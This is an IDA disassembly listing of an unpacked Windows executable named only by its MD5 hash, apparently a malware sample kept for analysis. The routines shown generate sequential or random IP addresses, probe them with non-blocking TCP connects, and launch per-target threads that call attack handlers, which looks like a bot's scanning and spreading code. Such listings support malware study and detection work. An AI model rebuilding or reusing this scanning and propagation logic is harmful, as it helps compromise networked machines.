;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C5D17B97D391AD892446E02F822952C5

; File Name   :	u:\work\c5d17b97d391ad892446e02f822952c5_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00092000 ( 598016.)
; Section size in file		: 00092000 ( 598016.)
; Offset to raw	data for section: 00001000
; Flags	F0000020: Text Shareable Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_406BAB+3249p
					; DATA XREF: .nsp1:00493084o

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_419348
		push	eax
		xor	ebx, ebx
		call	sub_40B0B3
		cmp	dword_419068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40106E
		push	esi
		mov	esi, offset dword_419070


loc_401033:				; CODE XREF: sub_401000+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD_0	; " %s:	%d,"
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40AF90
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_401033
		pop	esi


loc_40106E:				; CODE XREF: sub_401000+2Bj
		push	dword_47F740
		call	sub_40A0F0
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40AF90
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_403145
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010CA	proc near		; CODE XREF: sub_406BAB+2D5Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	7
		call	sub_40AC96
		test	eax, eax
		pop	ecx
		jle	short loc_401106
		mov	eax, [ebp+arg_C]
		push	dword_420A40[eax*8]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_41938C
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_401106:				; CODE XREF: sub_4010CA+13j
		lea	eax, [ebp+var_200]
		push	offset unk_41936C
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx


loc_401119:				; CODE XREF: sub_4010CA+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_403145
		add	esp, 18h
		leave
		retn
sub_4010CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_401704+4Fp

var_20C		= dword	ptr -20Ch
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013B5
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_419074[eax], ebx
		jz	loc_4013B5
		push	4
		call	sub_40AC96
		test	eax, eax
		pop	ecx
		jnz	loc_4013B5
		mov	eax, dword_41C0D8
		push	esi
		push	edi
		mov	edi, offset dword_421D1C
		push	104h
		push	edi
		push	ebx
		mov	dword_421F2C, eax
		mov	dword_421F28, ebx
		call	dword_41704C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_421E20
		push	offset byte_41C1A0
		push	esi
		call	sub_40B110
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_421D18, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_421FB0, eax
		jnz	short loc_4011F1
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_421F30
		call	sub_40B110
		mov	dword_421FB4, 1
		jmp	short loc_401208
; ---------------------------------------------------------------------------


loc_4011F1:				; CODE XREF: sub_401141+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_421F30
		call	sub_40B110
		mov	dword_421FB4, ebx


loc_401208:				; CODE XREF: sub_401141+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_421F2C
		push	offset unk_419458
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40AA54
		add	esp, 20h
		mov	dword_421F24, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_421D18
		push	offset sub_40A573
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, dword_421F24
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	loc_401307
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_419420
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch


loc_401287:				; CODE XREF: sub_401141+1CEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_403145
		mov	edi, offset dword_421FC4
		mov	[esp+20Ch+var_20C], 104h
		push	edi
		push	ebx
		mov	dword_4221D0, ebx
		call	dword_41704C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_4220C8
		push	offset byte_41C1A0
		push	esi
		call	sub_40B110
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_421FC0, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_422258, eax
		jnz	short loc_401314
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4221D8
		call	sub_40B110
		mov	dword_42225C, 1
		jmp	short loc_40132B
; ---------------------------------------------------------------------------


loc_4012FF:				; CODE XREF: sub_401141+1CCj
		push	32h
		call	dword_417040	; Sleep


loc_401307:				; CODE XREF: sub_401141+125j
		cmp	dword_421FB8, ebx
		jz	short loc_4012FF
		jmp	loc_401287
; ---------------------------------------------------------------------------


loc_401314:				; CODE XREF: sub_401141+1A2j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4221D8
		call	sub_40B110
		mov	dword_42225C, ebx


loc_40132B:				; CODE XREF: sub_401141+1BCj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_4221D4
		push	offset dword_4193E0
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40AA54
		add	esp, 20h
		mov	dword_4221CC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_421FC0
		push	offset sub_403E11
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, dword_4221CC
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		pop	esi
		mov	dword_42CF74[ecx], eax
		jnz	short loc_4013C0
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_4193AC
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch


loc_4013A8:				; CODE XREF: sub_401141+287j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_403145
		pop	ecx


loc_4013B5:				; CODE XREF: sub_401141+13j
					; sub_401141+24j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4013B8:				; CODE XREF: sub_401141+285j
		push	32h
		call	dword_417040	; Sleep


loc_4013C0:				; CODE XREF: sub_401141+24Aj
		cmp	dword_422260, ebx
		jz	short loc_4013B8
		jmp	short loc_4013A8
sub_401141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4013CA	proc near		; CODE XREF: sub_40154B:loc_4015A7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:420A40h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_40B210
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_42B31C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_42B3D0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_40B210
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4013CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401412	proc near		; CODE XREF: sub_40154B+54p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_40B5B0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40143A
		xor	eax, eax
		jmp	short loc_4014AB
; ---------------------------------------------------------------------------


loc_40143A:				; CODE XREF: sub_401412+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_40B56D
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_401467
		call	sub_40B54F
		mov	[ebp+var_C], eax


loc_401467:				; CODE XREF: sub_401412+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_401474
		call	sub_40B54F
		mov	[ebp+var_8], eax


loc_401474:				; CODE XREF: sub_401412+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_401481
		call	sub_40B54F
		mov	[ebp+var_4], eax


loc_401481:				; CODE XREF: sub_401412+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40148D
		call	sub_40B54F


loc_40148D:				; CODE XREF: sub_401412+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_420A40[ecx*8], eax


loc_4014AB:				; CODE XREF: sub_401412+26j
		pop	esi
		leave
		retn
sub_401412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014AE	proc near		; CODE XREF: sub_40154B+7Ep
					; sub_403CA3+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_42B450	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4014D7
		xor	eax, eax
		jmp	short loc_401546
; ---------------------------------------------------------------------------


loc_4014D7:				; CODE XREF: sub_4014AE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_42B3D4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_42B46C	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_42B380	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_42B3BC	; select
		push	esi
		mov	edi, eax
		call	dword_42B468	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_401546:				; CODE XREF: sub_4014AE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40154B	proc near		; DATA XREF: sub_401704+13Bo

var_2C8		= byte ptr -2C8h
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_1F4		= byte ptr -1F4h
var_174		= byte ptr -174h
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_BC		= byte ptr -0BCh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2C8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		mov	esi, [ebp+var_28]
		mov	dword ptr [eax+148h], 1
		mov	[ebp+arg_0], esi
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4016E1
; ---------------------------------------------------------------------------


loc_401591:				; CODE XREF: sub_40154B+1A4j
		cmp	[ebp+var_C], 0
		push	eax
		jz	short loc_4015A7
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_401412
		pop	ecx
		jmp	short loc_4015AC
; ---------------------------------------------------------------------------


loc_4015A7:				; CODE XREF: sub_40154B+4Bj
		call	sub_4013CA


loc_4015AC:				; CODE XREF: sub_40154B+5Aj
		mov	edi, eax
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, dword_42CD60[ebx]
		push	eax
		call	sub_40B0B3
		push	[ebp+var_34]
		push	[ebp+var_38]
		push	edi
		call	sub_4014AE
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_4016D6
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_40162B
		mov	edi, offset dword_421D00
		push	edi
		call	dword_417058	; RtlEnterCriticalSection
		cmp	[ebp+var_10], 0
		jnz	short loc_40161F
		cmp	[ebp+var_BC], 0
		push	1
		push	[ebp+var_14]
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, [ebp+var_BC]
		jnz	short loc_401613
		lea	eax, [ebp+var_13C]


loc_401613:				; CODE XREF: sub_40154B+C0j
		push	eax
		push	[ebp+var_3C]
		call	sub_404555
		add	esp, 14h


loc_40161F:				; CODE XREF: sub_40154B+A5j
		push	edi
		call	dword_417054	; RtlLeaveCriticalSection
		jmp	loc_4016D6
; ---------------------------------------------------------------------------


loc_40162B:				; CODE XREF: sub_40154B+93j
		push	edi
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B0B3
		mov	eax, [ebp+var_1C]
		imul	eax, 3Ch
		add	eax, offset dword_419040
		push	eax
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		cmp	[ebp+var_BC], 0
		lea	eax, [ebp+var_BC]
		jnz	short loc_40166F
		lea	eax, [ebp+var_13C]


loc_40166F:				; CODE XREF: sub_40154B+11Cj
		push	eax
		lea	eax, [ebp+var_1F4]
		push	eax
		call	sub_40B0B3
		mov	eax, [ebp+var_3C]
		pop	ecx
		mov	[ebp+var_208], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_154], eax
		mov	eax, [ebp+var_38]
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_1C]
		pop	ecx
		mov	[ebp+var_160], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_164], esi
		lea	esi, [ebp+var_208]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_41906C[eax]
		mov	esi, [ebp+arg_0]
		add	esp, 0BCh


loc_4016D6:				; CODE XREF: sub_40154B+89j
					; sub_40154B+DBj
		push	7D0h
		call	dword_417040	; Sleep


loc_4016E1:				; CODE XREF: sub_40154B+41j
		mov	eax, dword_42CF64[ebx]
		cmp	dword_420A44[eax*8], 0
		jnz	loc_401591
		push	esi
		call	sub_40AD6A
		pop	ecx
		push	0
		call	dword_417050	; ExitThread
sub_40154B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401704	proc near		; DATA XREF: sub_406BAB+1AB7o
					; sub_406BAB+2B4Eo

var_24C		= dword	ptr -24Ch
var_20C		= byte ptr -20Ch
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_42B410	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_420A40[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401141
		push	7
		call	sub_40AC96
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4017D2
		mov	esi, offset dword_421D00
		push	esi
		call	dword_417064	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_417060	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4017D2
		lea	eax, [ebp+var_20C]
		push	offset unk_41955C
		push	eax
		call	sub_40B0B3
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_4017BC
		push	ebx
		lea	eax, [ebp+var_20C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_404555
		add	esp, 14h


loc_4017BC:				; CODE XREF: sub_401704+99j
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_403145
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4017D2:				; CODE XREF: sub_401704+63j
					; sub_401704+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_417040
		mov	edi, ebx
		mov	dword_420A44[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_401894


loc_4017F0:				; CODE XREF: sub_401704+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset unk_419524
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_20C]
		push	7
		push	eax
		call	sub_40AA54
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_42CF64[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40154B
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_4018AB
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset unk_4194E8
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_403145
		add	esp, 10h


loc_401886:				; CODE XREF: sub_401704+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4017F0


loc_401894:				; CODE XREF: sub_401704+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_4018B9
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_4018C6
; ---------------------------------------------------------------------------


loc_4018A7:				; CODE XREF: sub_401704+1AAj
		push	1Eh
		call	esi	; Sleep


loc_4018AB:				; CODE XREF: sub_401704+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_4018A7
		jmp	short loc_401886
; ---------------------------------------------------------------------------


loc_4018B2:				; CODE XREF: sub_401704+1C0j
		push	7D0h
		call	esi	; Sleep


loc_4018B9:				; CODE XREF: sub_401704+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_420A44[eax*8], 1
		jz	short loc_4018B2


loc_4018C6:				; CODE XREF: sub_401704+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_420A40[eax*8]
		push	eax
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset unk_4194A8
		push	eax
		call	sub_40B0B3
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_401914
		push	ebx
		lea	eax, [ebp+var_20C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_404555
		add	esp, 14h


loc_401914:				; CODE XREF: sub_401704+1F1j
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_403145
		mov	eax, [ebp+var_2C]
		mov	[esp+24Ch+var_24C], 0BB8h
		mov	dword_420A44[eax*8], ebx
		call	esi	; Sleep
		push	7
		call	sub_40AC96
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40194B
		push	offset dword_421D00
		call	dword_417064	; RtlDeleteCriticalSection


loc_40194B:				; CODE XREF: sub_401704+23Aj
		push	[ebp+var_2C]
		call	sub_40AD6A
		pop	ecx
		push	ebx
		call	dword_417050	; ExitThread
sub_401704	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40195B	proc near		; CODE XREF: sub_401BC7+Ep
					; sub_401BC7+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40195B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401965	proc near		; CODE XREF: sub_401BC7+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_40B6BF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_401997
		push	ebx
		push	0
		push	edi
		call	sub_40B630
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_40B210
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_401997:				; CODE XREF: sub_401965+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_401965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40199F	proc near		; CODE XREF: sub_401A91+18p
					; sub_401B0B+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4019EB
		push	edi
		push	0
		push	esi
		call	sub_40B630
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_40B210
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_40B210
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4019EB:				; CODE XREF: sub_40199F+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40199F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019F4	proc near		; CODE XREF: sub_401A91+5Ep
					; sub_401A91+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401A04
		push	eax
		call	sub_40B771
		pop	ecx


loc_401A04:				; CODE XREF: sub_4019F4+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4019F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A0D	proc near		; CODE XREF: sub_401A91+20p
					; sub_401B6C+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_401A37
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_40B6BF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401A3B


loc_401A37:				; CODE XREF: sub_401A0D+Dj
		xor	al, al
		jmp	short loc_401A8D
; ---------------------------------------------------------------------------


loc_401A3B:				; CODE XREF: sub_401A0D+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_40B630
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_401A5B
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_401A70
; ---------------------------------------------------------------------------


loc_401A5B:				; CODE XREF: sub_401A0D+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_401A70:				; CODE XREF: sub_401A0D+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_40B210
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_40B771
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_401A8D:				; CODE XREF: sub_401A0D+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A91	proc near		; CODE XREF: sub_401BC7+89p
					; sub_401BC7+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_42226C
		call	sub_40199F
		lea	ecx, [ebp+var_8]
		call	sub_401A0D
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_40B6BF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401ACB
		xor	al, al
		jmp	short loc_401B07
; ---------------------------------------------------------------------------


loc_401ACB:				; CODE XREF: sub_401A91+34j
